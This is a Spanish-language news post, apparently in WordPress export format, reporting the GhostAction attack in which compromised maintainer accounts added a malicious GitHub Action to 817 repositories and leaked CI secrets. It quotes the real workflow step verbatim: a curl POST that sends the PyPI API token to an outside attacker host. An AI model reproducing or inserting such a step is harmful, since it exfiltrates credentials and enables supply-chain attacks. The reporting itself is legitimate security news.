{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Durante el ataque GhostAction, se comprometieron 817 repositorios en GitHub.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Investigadores de GitGuardian han detectado un ataque masivo contra usuarios de GitHub, en el cual se obtuvo control sobre 327 cuentas y se sustituy\u00f3 un manejador malicioso de Github Action en 817 repositorios. Este ataque result\u00f3 en la filtraci\u00f3n de 3325 secretos utilizados en sistemas de integraci\u00f3n continua y transmitidos a trav\u00e9s de variables de entorno, incluyendo tokens de acceso a PyPI, GitHub, NPM, DockerHub y varios almacenes en la nube.
<\/center> <\/p>\n
GitHub Actions permite a los desarrolladores de c\u00f3digo adjuntar manejadores para automatizar diversas operaciones en GitHub. Por ejemplo, a trav\u00e9s de GitHub Actions se pueden realizar ciertas verificaciones y pruebas al hacer commits o automatizar el manejo de nuevos Issues. Un manejador malicioso se propag\u00f3 bajo el nombre 'Github Actions Security' e inclu\u00eda en la secci\u00f3n 'run' un comando 'curl' que enviaba el contenido de las variables de entorno a un host externo al ejecutar tareas en un entorno de integraci\u00f3n continua. El commit malicioso se a\u00f1adio desde cuentas de mantenedores de proyectos, que probablemente hab\u00edan sido hackeadas o se hab\u00edan convertido en v\u00edctimas de phishing. <\/p>\n
El ataque fue detectado tras el an\u00e1lisis de una actividad an\u00f3mala relacionada con el paquete FastUUID, que proporciona un 'bindings' de Python sobre la biblioteca de Rust UUID. El paquete FastUUID, que ha registrado casi 1.2 millones de descargas en la \u00faltima semana, se utiliza como dependencia en el popular proyecto LiteLLM, que tiene m\u00e1s de 5 millones de descargas semanales en PyPI. El an\u00e1lisis de los cambios en el repositorio de FastUUID mostr\u00f3 que el 2 de septiembre el mantenedor del proyecto a\u00f1adi\u00f3 un commit con un nuevo manejador de Github Action, que conten\u00eda c\u00f3digo para enviar el token al repositorio PyPI a un host externo. \u2014 name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
El problema se identific\u00f3 antes de que los atacantes pudieran aprovechar el token interceptado; no se registraron publicaciones de cambios maliciosos o versiones modificadas del paquete en PyPI para FastUUID. Sustituciones similares de Github Action se identificaron en otros 816 repositorios, cuyos propietarios, as\u00ed como la administraci\u00f3n de PyPI, GitHub, NPM y DockerHub, recibieron notificaciones. Hasta la noche de ayer, los commits maliciosos hab\u00edan sido revertidos en aproximadamente 100 repositorios. En la actualidad, al buscar en GitHub se determinan 671 commits con Github Action maliciosos. \n Fuente: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Durante](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n